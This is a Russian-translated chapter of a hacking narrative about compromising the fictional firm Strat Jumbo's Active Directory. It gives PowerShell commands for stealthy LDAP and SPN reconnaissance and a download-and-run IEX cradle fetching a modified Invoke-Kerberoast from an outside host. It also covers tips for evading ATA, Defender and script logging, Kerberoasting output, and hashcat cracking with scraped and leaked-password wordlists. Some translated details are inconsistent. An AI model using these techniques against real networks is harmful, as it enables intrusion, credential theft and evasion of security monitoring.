Глава 9. Русская рулетка

Для запроса копий объектов AD, таких как пользователи, группы, машины и настройки GPO с целью кэширования все машины в Лесу AD полагаются на LDAP. Применение LDAP настолько распространено, что мы можем применять его для осуществления приличного объёма разведки в домене, причём не вызывая никаких сомнений. Здесь для поиска и выполнения запросов в Active Directory Domain Services в LDAP мы вызываем в PowerShell DirectorySearcher класса [adsisearcher]. Соответствующий конструктор класса adsisearcher ожидает строку поиска. В данном примере для поиска всех объектов, которые обладают установленными в Domain Admins значение свойства memberOf, мы применяем синтаксис LDAP:

PS C:Lab\> $search=[adsisearcher]'(memberOf=CN=Domain Admins,CN=users,DC=Stratjumbo,DC=lan)'
PS C:Lab\> $search.findAll()
Path
----
LDAP://CN=Administrator,CN=Users,DC=stratjumbo,DC=lan
LDAP://CN=admin.beny,CN=Users,DC=stratjumbo,DC=lan
LDAP://CN=admin.edward,CN=Users,DC=stratjumbo,DC=lan
LDAP://CN=admin.jed,CN=Users,DC=stratjumbo,DC=lan
--snip--
		

Мы получили перечень пользователей администраторов. Это в точности тот же самый список, который мы получили обычной командой net group "domain admins" /domain , за исключением того, что последняя полагается на редко применяемый протокол SAMR, который ATA тщательно отслеживает, в то время как наши команды зависят от более распространённых запросов LDAP и не будут подбираться ATA.

Если мы действительно настороженно относимся к любому типу взаимодействия с контроллером домена, мы можем дополнительно замаскироваться, напрямую запрашивая кэшированные Windows объекты домена. Эти объекты предоставляются через классы WMI, такие как win32_groupindomain и Win32_UserAccount. Данные могут быть устаревшими, но во многих случаях они могут оказаться достаточными:

PS C:Lab\> Get-WmiObject -class win32_groupindomain | select partcomponent

PS C:Lab\> Get-WmiObject -Class Win32_UserAccount -Filter "Domain='stratjumbo' AND Disabled='False'"
		

Работа напрямую с классом adsisearcher для запроса объектов LDAP запросто может создать головную боль. Синтаксис фильтров поиска LDAP не слетает из- под пальцев.

Вместо этого мы возвращаемся к своему возлюбленному PowerView: его Get-Users, Get-Computers, Get-Groups и аналогичные команды регистрации полагаются на LDAP и принимают намного более простой синтаксис фильтров. Нам всего лишь требуется не забыть отключить ведение журналов блоков сценариев перед загрузкой PowerView в память. Пока мы пользуемся своим небольшим персональным сценарием из Главы 6, AMSI не должен беспокоить нас (подробнее об этом в Главе 10).

Здесь мы применяем PowerView для вызова Get-NetGroupMember чтобы опять перечислить этих администраторов домена:

PS X:\> Get-NetGroupMember -GroupName "domain admins"

GroupDomain : stratjumbo.lan
GroupName   : Domain Admins
MemberDomain: stratjumbo.lan
MemberName  : admin.jed
MemberSID   : S-1-5-21-2894670206-200049805-1028998937-1136
IsGroup     : False
MemberDN    : CN=admin.jed,CN=Users,DC=stratjumbo,DC=lan
--snip--
		

Вуаля.

Часть пока не собранных нами сведений это список объявленных в Active Directory машин. Давайте установим его сразу:

PS X:\> Get-NetComputer -FullData
|select cn, operatingsystem, logoncount, lastlogon
|Format-Table -Wrap -AutoSize

cn           operatingsystem      logoncount lastlogon
STRAT-AD-01  Windows Server 2019  50         3/12/2020 10:11...
STRAT-AC-00  Windows Server 2019  63         3/12/2020 11:09...
STRAT-DO-05  Windows Server 2019  60         3/12/2020 10:24...
		

Мы получаем список машин, но имена серверов в лучшем случае загадочны; мы не можем догадаться об их назначении. (Если вы помните, наш сервер Citrix носит название STRAT-CI-01).

Спонтанный проверяющий проникновения внутри нас, скорее всего, захотел бы выполнить массовое сканирование портов чтобы определить какие службы работают в этих машинах. Быть может, вы легко найдёте лёгкую цель, такую как Tomcat с учётными данными по умолчанию, старый сервер SMB, консоль администратора JBoss или тому подобное. Но я полагаю, что вы достаточно увидели, чтобы воспротивиться этому глупому желанию. Сканирование портов заполняет сетевую среду миллионами нацеленных на все доступные порты пакетов; это вряд ли незаметно, причём вне зависимости от того сколько параметров Nmap вы включите. Если бы мы попытались сделать это, нас, скорее всего, выгнали бы на десятом зондировании. Так как же нам провести служебное расследование без прощупывания всех машин по отдельности?

Мы обращаем свои молитвы к всезнающему богу Active Directory: Контроллеру домена. Все работающие в серверах Windows службы и приложения, которые намерены применять протокол Kerberos для проверки подлинности пользователей, должны объявить в Контроллере домена уникальное имя субъекта службы (SPN, service principal name). Воспринимайте значение SPN как уникальный идентификатор службы. Он содержит не только название службы, но и, в соответствии с официальными спецификациями, его номер порта и название сервера, в которой он запущен. Забавно, что в соответствии с установленной схемой Kerberos, значение SPN хранится как общедоступное свойство объекта пользователя из Active Directory, поэтому запросить перечень всех допустимых SPN может любой прошедший проверку подлинности пользователь. В Листинге 9.1 мы пользуемся PowerView для получения значений SPN идентифицированных нами машин.

PS X:\> Get-NetUser | select name,serviceprincipalname | Format-Table -Wrap -AutoSize
sqlexpress {MSSQLSvc/strat-CI-03:14488, MSSQLSvc/strat-CI-05...
sharepoint_acct {http/strat-AK-09:8443, http/strat-AK-02:443,...
adfs_svc
sqlexpress2 {MSSQLSvc/strat-AK-03:1433, MSSQLSvc/strat-AK-02...
 	   

Вот вы их и получили: простое перечисление портов без наводнения своей сетевой среды бесполезными пакетами. Теперь у нас имеется частичный список веб серверов, таких как STRAT-AK-02 и STRAT-AK-01, а также, чтоб более важно, мы выявили некоторые базы данных, которые, как кажется, пользуются такими учётными записями домена как sqlexpress и sqlexpress2: а именно, STRAT-CI-03, STRAT-CI-05 и STRAT-AK-03.

Очевидным ограничением такой методики является то, что мы получаем лишь службы, которые поддерживают аутентификацию Kerberos, например, некоторые веб- серверы (IIS, Tomcat и так далее), базы данных SQL Server, WinRM (удалённое исполнение PowerShell), RDP (для сеансов удалённых рабочих столов), Exchange и тому подобных. Но, как мы скоро увидим, эти простые сведения могут обладать большим значением.

Ещё одним ограничением, о котором надлежит помнить, выступает сетевая фильтрация. Мы видим, что STRAT-AK-03 размещает по порту 1433 базу данных SQL Server, но ничто не гарантирует, что мы и в самом деле сможем получить доступ к этой базе данных со своего сервера Citrix. И в самом деле, когда мы отправляем тестовый сетевой пакет, время ожидания истекает, поэтому мы можем заключить, что он действительно не доступен.

Команда Get-NetUser из Листинга 9.1 возвращает лишь привязанные к обычным учётным записям домена идентификаторы SPN. Тем не менее, хотя SPN, возможно, и обычные, связаны также и с учётными записями машин, а потому мы захватываем их при помощи команды Get-NetComputer:

PS X:\> Get-NetComputer -FullData -SPN *
| select samaccountname,serviceprincipalname
| Format-Table -Wrap -AutoSize

Samaccountname  serviceprincipalname
-------------   --------------------
STRAT-AD-01$    TERMSRV/STRAT-AD-01, Ldap/STRAT-AD-01, DNS/Strat-AD-01...
		

Мы можем наблюдать, что наша машина с учётной записью DC STRAT-AD-01$ обладает большим числом привязанных к ней SPN - TERMSRV (Terminal Services, известные в Windows Server 2008 R2 и последующих версиях как Remote Desktop Services), LDAP, DNS и тому подобные - что можно ожидать Контроллером домена.

При помощи простого поиска мы анализируем выработанный для машин, служб и портов список SPN и приходим к заключению, что имеющиеся базы данных SQL почти полностью расположены в одном и том же сегменте сетевой среды:

PS X:\> nslookup strat-ci-03

Name:    strat-ci-01.stratjumbo.lan
Address: 10.134.0.78

PS X:\> nslookup strat-ak-03
Name:    strat-ak-03.stratjumbo.lan
Address: 10.134.0.14
--snip--
		

Забавно. Ранее мы не были способны достигать порта базы данных 1443 из STRAT-AK-03, однако несомненно Citrix обязан быть гарантировано обеспечен доступом к своей базе данных для выборки объектов, соответствий сеансам пользователей и тому подобного. Принимая во внимание наблюдаемые нами названиями, кажется безопасным сделать ставку на то, что база данных нашего Citrix будет обладать названием в виде STRAT-CI-XX. Простое тестирование пингом достаточно быстро подтверждает это:

PS X:\> ping strat-ci-03

Pinging strat-ci-03.stratjumbo.lan [10.134.0.78] with 32 bytes of data:

Reply from 10.134.0.78: bytes=32 time=94ms TTL=128
--snip--
		

Даже несмотря на то, что у нас нет сетевого доступа к прочим базам данных, есть вероятность что база данных нашего Citrix способна свободно взаимодействовать с прочими базами данных в той же самой подчинённой сети. Именно это является наиболее распространённой установкой во многих сетевых архитектурах: допускать поток обмена внутри некого сетевого интерфейса и блокировать всё приходящее извне.

Таким образом, если нам удастся получить контроль над базой данных Citrix, мы сможем перейти к прочим базам данных и искать учётные данные в памяти, пароли в сценариях и, возможно, даже исходный код разработки.

Нам нужно выяснить, как атаковать базу данных STRAT-CI-03. Не бойтесь: здесь снова вступает в игру магия Kerberos. Чтобы воспользоваться Kerberos, важно понимать, как он работает для аутентификации пользователей. Побалуйте себя моим небольшим экскурсом в эту тему, чтобы предоставить следующую атаку.

Когда пользователь инициирует процесс аутентификации в некой службе (идентифицируемой её SPN), для выполнения протокола аутентификации Kerberos имеют место следующие этапы:

В данном обзоре процесса я намеренно не включил множество обменов ключами сеансов, применяемых для симметричного шифрования данных, поскольку они не служат нашим непосредственным целям. Вместо этого мы сосредоточимся на билете TGS - зашифрованном блобе данных, содержащем значение идентичности пользователя. Этот билет зашифрован хэшем NT учётной записи соответствующей службы; то есть значение хэша его пароля.

Именно здесь начинается самое интересное. Кто угодно в домене может запросить некий билет TGS, причём вне зависимости от того имеет он в реальности доступ к такой службе или нет. Это не интересует Контроллер домена, он всего лишь распространяет зашифрованные блобы сведений.

Если нам удастся завладеть этими зашифрованными сведениями, сможем ли мы, скажем, взломать их и определить значение секретного ключа? Несомненно! В данном случае значением ключа является доменный пароль этой службы. Этот метод был назван Тимом Медином двойной прожаркой Цербера (Kerberoasting).

Самым замечательным в данной атаке является то, что она представляется совершенно легитимной как с точки зрения системы, так и с точки зрения сетевой среды. Запросы TGS на доступ к службе происходят постоянно, поэтому ATA трудно подобрать реальные отличительные признаки для пометки такой атаки. Анализ поведения способен подхватить огромное число последовательных билетов TGS к Контроллеру домена, однако это даст удручающее число ложных срабатываний, поскольку это стандартное и повторяющееся событие, в особенности в среде Citrix.

Применим свою теорию на практике. Дабы избежать обнаружения какими бы то ни было инструментами анализа поведения, в качестве дополнительной меры предосторожности мы запросим всего пару билетов TGS для учётных записей, исполняющих базы данных SQL Server: sqlexpress и sqlexpress2. Для этого мы будем применять сценарий PowerShell Invoke-Kerberoast, поставляемый с инфраструктурой Empire.

Мы отключили ведение журнала блоков сценариев, но это не повод забывать про осторожность. Как и в случае с PowerView, мы изменим свой сценарий Invoke-Kerberoast внеся несколько простых изменений, таких как модификация названий методов, уничтожение комментариев и удаление некоторых вызывающих подозрение ключевых слов, таких как krbtgt и powerview. Этого должно быть достаточно для того, чтобы обмануть большинство инструментов безопасности. Чтобы обнаружить эти изменения, сравните исходный сценарий со страницы https://sf-res.com/kerberoast.ps1, который, скорее всего, активирует Windows Defender когда вы его загрузите в новом компьютере с Windows и изменённый сценарий, который должен оставаться незамеченным, доступным из папки ps_scripts из https://github.com/sparcflow/HackLikeALegend/.

Прежде всего нам требуется объект браузера в своём окне PowerShell:

PS X:\> $browser = New-Object System.Net.WebClient;
PS X:\> $browser.Proxy.Credentials =[System.Net.CredentialCache]::Default 
NetworkCredentials;
		

Затем мы можем выгрузить свой видоизменённый сценарий:

PS X:\> $content = $browser.DownloadString("https://sf-res.com/kerberoast.ps1")

PS X:\> IEX($content);
		

и выполнив его, ограничивая свой поиск до SPN на удовлетворение условию *sql*. Мы сохраняем свои результаты в hash.txt в понимаемом hashcat формате, самом знаменитом программном обеспечении взлома паролей, которым мы воспользуемся позднее для восстановления значения секретного зашифрованного ключа:

PS X:\> Invoke-Kerber -OutputFormat hashcat -LDAPFilter '(SamAccountName=*sql*)' | out-file hash.txt

$krb5tgs$23$*sqlexpress$stratjumbo.lan$MSSQLSvc:1488*$76E348C...
$krb5tgs$23$*sqlexpress2$stratjumbo.lan$MSSQLSvc:1488*$1888A1...
$krb5tgs$23$*sqlexpress_fs$stratjumbo.lan$MSSQLSvc:1488*$D08C...
$krb5tgs$23$*sql_dev$stratjumbo.lan$MSSQLSvc:1488*$15A3FFE057...
		

Ниже приводится команда для взлома этих паролей, где -m ссылается на алгоритм Kerberos 5 TGS-REP etype 23, а wordlist.txt это список вероятных претендентов на пароли:

C:\HLL\Lab> .\hashcat64.exe -m 13100 hash.txt wordlist.txt
		

Мы попробуем взломать эти пароли в своём стандартном виртуальном частном сервере при помощи стандартных перечней паролей, находящихся в Kali, однако алгоритм Kerberos 5 TGS-REP примерно в 150 раз медленнее чем более распространённый формат хэширования NT. Принимая во внимание нашу текущую скорость хэширования, это вполне запросто может занять несколько месяцев, если не лет. Нам требуется максимально оптимизировать всю дерьмовость такой атаки перебором в автономном режиме.

Как известно всем, кто знаком со взломом паролей, существуют две рукояти, которые можно настраивать для ускорения данного процесса:

Давайте вначале взглянем на параметры для подъёма мощности GPU.

Настройка взлома пароля

Построение собственной установки для взлома паролей требует определённого объёма капиталовложений и страсти. Если вы не хотите сбалансировать стоимость с увлечением майнингом криптовалюты, издержки на оборудование могут быть непомерно высокими, а приходящие порой счета за электроэнергию могут быстро стать солидными.

Что касается 2022 года, NVIDIA GTX 3080 вероятно одна из наилучших графических карт для взлома паролей. Вот пара отчётов об эталонном тестировании исполнения hashcat в единственной карте GTX 3080 для различных типов хэширования:

C:\HLL\Lab> .\hashcat64.exe -b --benchmark-all
Hashtype: MD5
Speed.Dev.#1.....: 54033.5 MH/s (41.28ms)

Hashtype: Kerberos 5 TGS-REP etype 23
Speed.Dev.#1.....: 1191.8 MH/s (59.91ms)
--snip--
		

Мы можем видеть, что взлом хэширования Kerberos 5 TGS-REP в 45 раз медленнее чем взлом хэширований MD5, следовательно имеется потребность в большой вычислительной мощности GPU. Если бы, скажем, мы скомбинировали шесть таких плохих парней - каждого со стоимостью около $1600 - мы бы получили ускорение космической ракеты для своих усилий по взлому билетов TGS Kerberos до приблизительно 7.1 миллиардов вычислений хэша для пары своих извлекаемых хэширований. Сцепляя это со своим физическим компьютером с 32 ГБ оперативной памяти, такая экипировка должна была бы разумно покрыть наши потребности.

Если вложения в графические карты не взывает к хакеру/ геймеру внутри вас, вы всегда можете воспользоваться преимуществами служб облачных вычислений GPU, таких как AWS, Paperspace, OVHcloud или Google Cloud Computing. Экземпляр p3.16xlarge AWS, одной из их наиболее мощных машин, обладает 8 картами NVIDIA V100, достигающей ошеломительной скорости хэширования свыше 8 миллиардов хэшей в секунду для взлома билетов TGS Kerberos. Если этого недостаточно для взлома хэшей Strat Jumbo, я этого не понимаю. Запуск такого типа машин на 48 часов напрямую должно быть достаточно для взлома нашего перечня хэшей, а стоимость меньше покупки отдельной карты NVIDIA GTX 3080.

В конце концов, то, как вы решите получить требуемую вычислительную мощность, зависит от той стратегии инвестирования, которая наилучшим образом соответствует вашим потребностям. Любой из следующих сценариев предоставит вам довольно приличную установку для взлома:

Мы выбираем самый скромный из этих сценариев, арендовав на 24 часа экземпляр p2.8xlarge AWS. Для компенсации относительной нехватки мощности, нам надлежит создать сильный список слов, по которому должен пройти hashcat.

Составление списка слов

Наша нынешняя установка для взлома, сколь бы мощной она ни была, не сможет реально исчерпать пространство возможных претендентов на пароль. Но это нормально, мы не пользуемся уязвимостью в алгоритме шифрования Kerberos, как таковой; вместо этого мы пользуемся тем как люди склонны определять пароли. Как мы наблюдали в Главе 8, люди часто строят свои пароли на словарях слов, добавляя к ним немного цифр и специальных символов. Мы построим свой перечень слов для отражения такой человеческой тенденции. Мы не нацелены на случайные, хорошо построенные пароли; мы согласны с тем, что нам требуется отказаться от них и вместо этого стремиться к повышению эффективности при помощи обычных человеческих паролей.

Мы начнём с распространённых слов словаря. Как правило, для формирования корня своих паролей люди применяют знакомые им предметы, поэтому нам надлежит искать списки слов, содержащие имена, места, времена года, группы, города и т.п., а также относящиеся к областям деятельности Strat Jumbo (программирование и финансы).

CrackStation обладает одним из самых полных и разнообразных доступных бесплатно в Интернете списков слов с более чем 1.4 миллиардов претендентов, включая слова, извлекаемые из Wikipedia, Project Gutenberg и прочих ресурсов с открытым исходным кодом. Это отличный источник входных данных, который охватывает большое число тем. Мы можем применять данный перечень слов в качестве базы и приспособить его к своей текущей цели, добавив слова с веб- сайта Strat Jumbo.

Для перелопачивания атакуемого сайта и извлечения слов с целью добавления в свой список слов, мы исполним собственный сценарий wordcollector.py из папки py_scripts в https://github.com/sparcflow/HackLikeALegend/:

root@C2Server:~# python wordcollector.py https://www.stratjumbo.com
financials
strataccounting
stratjumbo
--snip--
		

Мы сохраняем их в wordlist.txt, удаляем дубликаты и сохраняем полученный результат в новом файле, составленном из 193 011 кандидатов пароля:

root@C2Server:~# sort -u wordlist.txt > scraped_wordlist.txt| wc -l

193011
		

Мы добавляем эти слова к замесу CrackStation и производим единообразный список слов, составленный из уникальных и отсортированных претендентов. Мы даже можем пробросить туда несколько сотен тысяч слов из вселенной Игры престолов ибо, как нам представляется, она очень нравится администраторам Strat Jumbo. Здесь мы в поисках слов поскоблим по wiki Игры престолов:

root@C2Server:~# python wordcollector.py http://gameofthrones.wikia.com/wiki/Game_of_Thrones_Wiki
		

Теперь нам требуется применить правила или маски для преобразования этих миллионов допустимых претендентов в потенциальные пароли, которые отвечают политике паролей Strat Jumbo из минимума в восемь символов и трёх классов символов (верхнего и нижнего регистров, цифр и специальных символов).

Огромное число людей соревновалось в создании лучших и наиболее действенных правил, охватывающих как тривиальные, так и невразумительные сочетания от знаменитых правил KoreLogic до случайным образом выбираемых репозиториев GitHub, например, https://github.com/praetorian-inc/Hob0Rules/. По моему личному мнению, большинство этих наборов правил слишком усердно пытаются перехватывать тот самый 1 процент паролей, которые ускользают от взломщиков паролей, вместо того, чтобы имитировать настоящие пароли, применяемые отчаявшимися сотрудниками, пытающимися справляться со всё более строгими политиками паролей. К примеру, набор правил rockyou-30000.rule очень хорош для начала, но он не принимает во внимание очевидные комбинации в виде пасхалий букв, за которыми следуют цифра, специальные символы с последующими цифрами, первыми заглавными буквами и добавленными перед ними цифрами или специальными символами.

С этой целью я разработал свой собственный список слов с названием corporate.rule, который заполняет эти пробелы и неплохо имитирует корпоративные политики паролей. В можете обнаружить его в ресурсах этой книги. Обычно я запускаю его совместно с набором правил RockYou и до сих пор это сочетание оказывалось очень действенным (хотя, конечно, это предмет для постоянного совершенствования). Команда hashcat демонстрирует, что эти правила в применении к перечню слов, составленных из одного слова, дают около 34 000 новых претендентов:

C:\> .\hashcat64.exe -m 13100 hash.txt one_word.txt -r custom_rule.txt
--snip--
Progress.........: 34601/34601 (100.00%)
Rejected.........: 0/34601 (0.00%)
Restore.Point....: 1/1 (100.00%)
Candidates.#1....: Example!@#$ -> Example!@#$%
		

Применение этого набора правил к 1000 претендентов даёт в общей сложности 34 миллиона паролей, что может показаться большим числом, однако при 248 миллионов вычислений хэшей в секунду наша платформа исчерпает это пространство ключей за 0.13 секунды. Экстраполируя эти цифры для своего текущего набора правил, мы можем рассчитать свой верхний предел базового перечня слов, который мы способны передавать hashcat для исчерпания всех возможностей в рамках бюджета на 24 часа.

В зависимости от имеющихся в нашем распоряжении ресурсов, мы можем пожелать сократить перечень слов CrackStation до размера, которым мы способны заполнить 24 часа или, быть может, применять меньше правил и, тем самым, вырабатывать меньше паролей для каждого из претендентов. Всё дело в правильном выборе баланса для того чтобы вписаться в рамки своего бюджета, но при этом обладать приличным шансом для взлома паролей.

Для ещё большего расширения пределов взлома паролей, мы воспользуемся ещё одним важным принципом: природа человека едина во всём мире! Чей- то старый пароль это чей- то новый пароль. Мы можем собирать ранее утёкшие во время крупных взломов пароли для создания не требующего обработки правил списка слов. В конце концов, это настоящие пароли, которые, скорее всего, соблюдают аналогичные правила сложности паролей. Это сэкономит нам гигантские вычислительные мощности. Репозиторий GitHub Berzek0 Real-Passwords перечисляет около 2 миллиардов утёкших паролей.

Исполнение Hashcat

Вооружившись этими претендентами, мы запускаем в своей платформе AWS GPU экземпляры самых последних hashcat: один без обработки правил с применением утёкших паролей и все прочие с полными индивидуальными правилами. Через день или около того мы возвратимся для проверки полученных результатов:

C:\> .\hashcat64.exe -m 13100 hash.txt complete_wordlist.txt -r custom_rule.txt

$krb5tgs$23$*sqlexpress$stratjumbo.lan$MSSQLSvc/strat-CI-03
:14488*$87...99fa91d:L3ic3st3r@87

Recovered........: 2/5 (40.00%) Digests, 2/5 (40.00%) Salts
--snip--
Candidates.#1....: burnout -> L3ic3st3r@87
		

И у нас есть то что! L3ic3st3r@87 это пароль учётной записи нашей службы sqlexpress. Имейте в виду, что это не тривиальный пароль, который вы могли бы получить, применяя обычные правила, но, принимая во внимание базовые слова и наборы применявшиеся нами правил его нахождение оказалось неизбежным!